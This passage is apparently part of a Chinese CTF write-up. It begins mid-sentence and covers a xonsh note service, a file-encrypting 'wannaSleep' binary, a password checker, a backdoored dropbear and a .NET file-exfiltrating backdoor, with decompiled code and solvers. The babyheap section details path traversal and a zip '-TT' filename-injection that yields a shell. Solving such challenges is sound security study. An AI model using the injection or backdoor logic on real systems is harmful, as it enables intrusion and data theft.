的時候輸入一些不是數字的東西會出現 error,可以知道是 [xonsh](https://xon.sh/) 寫的服務,而 source code 在 `/home/babyheap/main.xonsh`。 在 show 功能時輸入 note name 的地方可以用 path traversal 輸入 `../../../../home/babyheap/main.xonsh` 得到原始碼,清理過後如下: ```python= #!env xonsh import secrets import atexit from urllib.parse import urlparse from os import path sandbox = f"/tmp/sandbox/{secrets.token_hex(16)}" atexit.register(lambda: $[rm -rf @(sandbox)]) rm -rf @(sandbox) mkdir -p @(sandbox) cd @(sandbox) def menu(): print( "======== [Babyheap] ========\n" "1. Malloc\n" "2. Show\n" "3. List\n" "4. Free\n" "0. Exit\n" "----------------------------\n" ) while True: menu() option = input("> ") if option == "1": file = secrets.token_hex(8) + ".txt" size = input("Size: ") if not size.isdigit(): exit -1 size = int(size) content = input("Content: ")[:size] echo @(content) | cowsay > @(file) echo f"Note {file} created" elif option == "2": file = input("Note name: ") if path.exists(file): nl @(file) else: echo f"Note '{file}' does not exist" elif option == "3": for file in gp`./*.txt`: echo "[+]" @(file.name) elif option == "4": file = path.basename(input("Note name: ")) if path.exists(file): rm -f @(file) echo f"Deleted '{file}'" else: echo f"free(): double free detected in tcache 1" elif option == "9487": url = input("URL: ") if urlparse(url).path.endswith(".txt"): wget --no-clobber @(url) else: echo "Should be a .txt file" elif option == "9527": zip export.zip * link = $(curl --upload-file export.zip https://transfer.sh/export.zip) echo f"Exported to {link}" rm -f export.zip elif option == "0": echo "Exiting..." break else: echo "Invalid option" print() ``` 可知它有兩個隱藏的功能,一個是使用 `wget` 下載 `txt` 檔案,另一個是把當前 sandbox 中所有檔案 zip 起來上傳到 transfer.sh。 問題點在於 `zip export.zip *` 這行,因為 `*` 是直接把當前目錄下所有的檔名展開成 arguments,如果有檔名是 `-` 開頭的話還是會被視為 flags 解析,就可能會出現一些問題。 參考 [zip | GTFOBins](https://gtfobins.github.io/gtfobins/zip/) 可知它有個 `-TT` 選項可以拿來執行指令: ```bash zip /tmp/out /etc/hosts -T -TT 'sh #' ``` 所以只要讓檔名**恰好**能湊成這樣的指令即可,不過還要讓它能在後面以 `.txt` 結尾才行。 `-TT` 部分可以把它合併成 `-TTsh #.txt` 處裡。`-T` 的因為它是不吃額外參數的,加上 `.txt` 會有錯誤,不過翻一下 `man zip` 可以發現它有個 `-x` 是拿來 exclude 檔案的,所以 `-Tx.txt` 可以過。另外還需要一個 input file,隨便的一個檔案如 `z.txt` 就行。 之後就弄個 server 可以對所有 path 返回 200 OK,然後讓它分別下載這三個檔案 * `https://server/-Tx.txt` * `https://server/-TTsh%20%23.txt` * `https://server/z.txt` 在 xonsh 中輸入 `echo export.zip *` 會得到 `export.zip -TTsh #.txt -Tx.txt z.txt`,所以 `zip export.zip *` 就會有 shell。 (`-TTsh #.txt` 實際上是一個 argument,空白是顯示的問題) Flag: `FLAG{I don't know why but nc+note=babyheap}` ## Reverse ### wannaSleep 其實出壞了,可能是因為 XOR key 並不是從明文拉出來的,所以直接把加密過的檔案送進去程式,就得到明文了! ### wannsSleep-Revenge main 看起來很複雜,但其實大部分都不重要(X 這一大段都在努力把 .enc 加進去 path 內。 ```c= if ( (unsigned int)FilePathExistsA(*(_QWORD *)(file_name + 8), a2, a3) ) { qmemcpy(v6, ".enc", 4); heapHandle = HeapCreate(1i64, 40960i64, 409600i64); fileHandle = CreateFileA(*(_QWORD *)(file_name + 8), 0x80000000i64, 1i64, 0i64, 3, 128, 0i64); GetFileSizeEx_0(fileHandle, &file_size); file_size_1 = file_size; file_buf = RtlAllocateHeap(heapHandle, 0i64, file_size); ReadFile_0(fileHandle, file_buf, (unsigned int)file_size_1, &byte_read, 0i64); CloseHandle_0(fileHandle); v13 = *(_QWORD *)(file_name + 8); filename_len = -1i64; do ++filename_len; while ( *(_BYTE *)(v13 + filename_len) ); new_filename_buf = RtlAllocateHeap(heapHandle, 0i64, filename_len + 16); for ( i = 0; ; ++i ) { v14 = *(_QWORD *)(file_name + 8); v8 = -1i64; do ++v8; while ( *(_BYTE *)(v14 + v8) ); if ( i >= v8 ) break; *(_BYTE *)(new_filename_buf + i) = *(_BYTE *)(*(_QWORD *)(file_name + 8) + i); } for ( j = 0; (unsigned __int64)j < 4; ++j ) *(_BYTE *)(new_filename_buf + i++) = v6[j];// Append .enc *(_BYTE *)(new_filename_buf + i) = 0; ... } ``` 值得一提的是,這邊的 API call 都是透過 table 完成的,至於這個 table 什麼時候蓋起來的呢,可以從 SEH 找到! 這邊會將 binary 內的密文還原。 ```c .pdata:000000014005406C RUNTIME_FUNCTION <rva sub_1400013D0, rva DecryptString_0, \ .pdata:000000014005406C rva stru_14004D6F8> ``` 這會將 API Table 蓋起來,然後都是透過爬 LDR Entry 來找 Function 的實際位置。 ```c= .pdata:00000001400540C0 RUNTIME_FUNCTION <rva RebuildImports, rva algn_140001A11, \ .pdata:00000001400540C0 rva stru_14004D730> ``` 乍看之下好像都沒有加密,但其實加密手法被藏在 API Table,`WriteFile` 並不是直接去 call API,而是先將內容物改好再去執行 API。 經過整理過後的加密函數,會做兩個亂數生產器,第一個是固定 Seed,另一個則是拿檔案的前四個明文當作 Seed,所幸加密後會將前四位存起來,解密的時候直接來拿當 Seed 就好。 ```c= __int64 __fastcall DoEncryption(unsigned int *lpBuffer, unsigned int size) { unsigned __int64 i; // [rsp+20h] [rbp-13E8h] unsigned int v4; // [rsp+28h] [rbp-13E0h] int v5; // [rsp+2Ch] [rbp-13DCh] int v6; // [rsp+30h] [rbp-13D8h] __int64 newBuffer; // [rsp+38h] [rbp-13D0h] __int64 heapHandle; // [rsp+40h] [rbp-13C8h] _DWORD state[628]; // [rsp+50h] [rbp-13B8h] BYREF char v10[2512]; // [rsp+A20h] [rbp-9E8h] BYREF InitializeMT(state); v4 = *lpBuffer; InitializeMT_0(v10, *lpBuffer); heapHandle = HeapCreate(1i64, 40960i64, 409600i64); newBuffer = RtlAllocateHeap(heapHandle, 0i64, size + 4); for ( i = 0i64; i < size; ++i ) { v5 = *((unsigned __int8 *)lpBuffer + i) + 32; v6 = MTRandom((__int64)state) ^ v5; *(_BYTE *)(i + newBuffer) = MTRandom((__int64)v10) ^ v6; } *(_DWORD *)(i + newBuffer) = v4; return newBuffer; } ``` `solver.py` ```python= import string import struct def _int32(x): return int(0xFFFFFFFF & x) class MT19937: def __init__(self, seed): self.mt = [0] * 624 self.mt[0] = seed self.mti = 0 for i in range(1, 624): self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i) def extract_number(self): if self.mti == 0: self.twist() y = self.mt[self.mti] y = y ^ y >> 11 y = y ^ y << 7 & 2636928640 y = y ^ y << 15 & 4022730752 y = y ^ y >> 18 self.mti = (self.mti + 1) % 624 return _int32(y) def twist(self): for i in range(0, 624): y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff)) self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624] if y % 2 != 0: self.mt[i] = self.mt[i] ^ 0x9908b0df def do_decryption(data): m1 = MT19937(0x18b) m2 = MT19937(struct.unpack('<L', data[-4:])[0]) flag = '' for i, d in enumerate(data): ori = (d ^ m2.extract_number() ^ m1.extract_number()) - 0x20 & 0xff flag += chr(ori) print(f'[+] Current: {flag} {i}/{len(data)}') read_fp = open('./wannasleeeeeeep.txt.enc', 'rb') enc_data = read_fp.read() read_fp.close() do_decryption(enc_data) ``` ### passwd_checker_2022 一個有視窗的 PE,可以從 initialize 的過程看到是誰在處理 message event ```c WndClass.lpfnWndProc = (WNDPROC)do_check; WndClass.hInstance = GetModuleHandleA(0i64); WndClass.lpszClassName = ClassName; RegisterClassW(&WndClass); hInstance = GetModuleHandleA(0i64); hWnd = CreateWindowExW(0, ClassName, L"Password Checker 2022", 0xCF0000u, 0, 0, 500, 100, 0i64, 0i64, hInstance, 0i64); ``` 值得一提的是,按鈕在初始化的時候被 disable 了,隨手 patch 一下。 ```c CreateWindowExW(0, L"BUTTON", L"OK", 0x50010001u, 400, 20, 50, 20, hWnd, (HMENU)0x96, v2, 0i64); ShowWindow(hWnd, 0); ``` 然後也可以知道這個按鈕按下去後,視窗控制碼會是 `0x96` 所以我們直接去看 `do_check` 針對這個視窗控制碼的 code ```c else if ( message == 0x111 && (unsigned __int16)wParam == 0x96 )// wm_command { v7 = GetDlgItem(handle, 152); GetWindowTextW(v7, String, 256); string_len = -1i64; do ++string_len; while ( String[string_len] ); sub_14000254C((__int64)buf, (__int64)String, string_len + 1); if ( validate_flag((__int64)buf) ) MessageBoxW(handle, L"Correct!", String, 0); else MessageBoxW(handle, L"Failed...", String, 0); result = 0i64; } ``` 至於 `sub_14000254C` 裡面看起來就只是在做寬字元的轉換。 走進 `validate_flag`,映入眼簾的會是一個可見的字串 ```c qmemcpy(pbData, "passwd_checker_2022_key_len_only_0x10_you_must_care_about_it_homie", 68ui64); ``` 繼續往下看,會看到一系列 CryptoAPI 的操作。 基本上就是拿剛剛的字串去產 hash,用什麼演算法可以透過參數來得知是 `CALG_RC4`。 然後用這個 hash object 去產 AES Key。 加密後結果用 base64 去比對,但不知道為什麼 IDA 這邊給我的 base64 跟我動態拿到的不太一樣,所以最後還是用動態拿到的 base64 來當解 flag 的依據。 ```c if ( !CryptAcquireContextW(&phProv, 0i64, 0i64, 1u, 0) ) { if ( GetLastError() != 0x80090016 ) return 0; if ( !CryptAcquireContextW(&phProv, 0i64, 0i64, 1u, 8u) ) return 0; } if ( !CryptCreateHash(phProv, 0x8004u, 0i64, 0, &phHash) ) return 0; if ( CryptHashData(phHash, pbData, len_pbData, 0) ) { if ( CryptDeriveKey(phProv, 0x6801u, phHash, 1u, &phKey) ) { CryptDestroyHash(phHash); if ( CryptEncrypt(phKey, 0i64, 1, 0, 0i64, &pdwDataLen, 0) ) { buffer_len = -1i64; do ++buffer_len; while ( *(_BYTE *)(buffer + buffer_len) ); pdwDataLen = buffer_len + 1; SetZero(&::pbData, 0x100ui64); do_memcpy(&::pbData, pdwDataLen, (const void *)buffer, (unsigned int)(buffer_len + 1)); if ( CryptEncrypt(phKey, 0i64, 1, 0, &::pbData, &pdwDataLen, buffer_len + 1) ) { if ( GetResultWithBase64(&result_size, &::pbData, buffer_len + 1) ) { v2 = result_base64; v3 = "E2J4z66WDHCgvxlWlILStr8epTuHJ5FFuTeK6LmBwVnN" - result_base64; while ( 1 ) { v4 = *v2; if ( *v2 != v2[v3] ) break; ++v2; if ( !v4 ) // Goal { v5 = 0; goto LABEL_34; } } v5 = v4 < (unsigned __int8)v2[v3] ? -1 : 1; LABEL_34: result = v5 == 0; } ``` `solver.py` ```python= from wincrypto import CryptCreateHash, CryptHashData, CryptDeriveKey, CryptEncrypt, CryptDecrypt from wincrypto.constants import CALG_SHA1, CALG_RC4 import base64 to_be_hashed = b'passwd_checker_2022_key_len_only_0x10_you_must_care_about_it_homie' enc_b64 = b'G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=' enc = base64.b64decode(enc_b64) sha1_hasher = CryptCreateHash(CALG_SHA1) CryptHashData(sha1_hasher, to_be_hashed) aes_key = CryptDeriveKey(sha1_hasher, CALG_RC4) print(CryptDecrypt(aes_key, enc)) ``` ### beardrop 從 Dockerfile 發現會安裝 dropbear,再把 dropbear 的 binary 替換掉。 使用 `apt install dropbear` 並利用 binary diff 工具觀察。 總共被改了 5 個地方,改動最大的部分是在 0x1C500。 ![](https://i.imgur.com/fJzbIlh.png) 查看 xref 發現它會從 0x17587 跳過來,和第三個 diff 的位置相符。 ![](https://i.imgur.com/D7u0cpw.png) 這段 assembly 會將 $rdi 指向的字串 xor 0xAE 與 byte_1C548 比較,將 byte_1C548 xor 0xAE 即可得到 flag。 ```python= from pwn import xor offset = 0x1C548 size = 32 data = open('./chal/dropbear','rb').read()[offset:offset+size] data = bytes(xor(data, 0xAE)).decode() print(data) # FLAG{BaCkD0oooooo000oo0o0o0o0oR} ``` ### dnbd 丟進 dnspy ```csharp= namespace dnbd { // Token: 0x02000005 RID: 5 internal class Program { // Token: 0x06000009 RID: 9 RVA: 0x00002813 File Offset: 0x00000A13 private static void Main(string[] args) { BBBB.run(); } } } ``` 至於 `BBBB.run()` 會解爛,那一定有什麼詭異的事情發生了。 所以去看 `BBBB` 的 constructor。 果然做了很多怪怪的事情,也可以看到 `VirtualProtect`。 ```csharp= IntPtr hinstance = Marshal.GetHINSTANCE(typeof(BBBB).Module); ... << 讀內容物,然後寫回去程式 ``` 把程式動態跑起來,然後用 `CheatEngine` Dump Process,再把資訊填回去,就得到一個漂亮的 `run()` 了。 往下看 `run()`: 跑了一個東西並聽在 5566。 ```csharp= int port = 5566; tcpListener = new TcpListener(IPAddress.Parse("0.0.0.0"), port); tcpListener.Start(); ``` 之後會產隨機 4 Bytes,並送給連接者。 然後會 `Calculate`,實際上其實就是做 MD5。 ```csharp= string s = BBBB.RandomString(32); byte[] bytes = Encoding.ASCII.GetBytes(s); stream.Write(bytes, 0, bytes.Length); stream.Read(array, 0, 4); ... string s2 = CCC.Calculate(bytes); ``` 往下會先讀數字當作資料長度,再根據長度讀資料 ```csharp= stream.Read(array, 0, 4); int num = BitConverter.ToInt32(array, 0); stream.Read(array, 0, num); string s2 = CCC.Calculate(bytes); byte[] bytes2 = Encoding.ASCII.GetBytes(s2); ``` 再往後,會將讀入的資料做 XOR Decryption,然後會是某個 Path 這個程式會去開對應的檔案。 ```csharp= for (int i = 0; i < num; i++) { byte[] array2 = array; int num3 = i; array2[num3] ^= bytes2[i % num2]; } using (FileStream fileStream = File.OpenRead(Encoding.UTF8.GetString(array).TrimEnd(new char[1]))) ``` 最後呢,將檔案內容讀出來然後每 1024 一個 chunk,做完 XOR 之後送出。 ```csharp= using (FileStream fileStream = File.OpenRead(Encoding.UTF8.GetString(array).TrimEnd(new char[1]))) { byte[] array3 = new byte[1024]; int num4; while ((num4 = fileStream.Read(array3, 0, array3.Length)) > 0) { for (int j = 0; j < num4; j++) { byte[] array4 = array3; int num5 = j; array4[num5] ^= bytes2[j % num2]; } byte[] buffer = (from x in BitConverter.GetBytes(num4).Concat(array3) select x).ToArray<byte>(); stream.Write(buffer, 0, 4 + num4); } break; } ``` 根據這些資訊,就可以把封包內容解開了! `solver.py` ```python= import hashlib import struct rand_byte = b'iTAVgXLdWAkxSL5aEiiWyZqTaj15BHZZ' key = hashlib.md5(rand_byte).hexdigest() # data = b'\x71\x59\x6a\x6d\x16\x53\x10\x16\x3f\x40\x42\x38\x75\x5d\x01\x42\x0c\x04\x5c\x16\x12\x6b\x4d\x17\x05\x5a\x17\x56\x4a\x5b\x47\x45\x1c\x17\x4e\x4c' # C:\Users\pt\Documents\transcript.txt data = None with open('./encoded.enc', 'rb') as f: f.read(0x20) try: while True: buf = f.read(4) size = struct.unpack('<I', buf)[0] # print(f'[*] Parsing {size} bytes.') data = f.read(size) for i, d in enumerate(data): print(chr(d ^ ord(key[i % len(key)])), end='') except: pass ```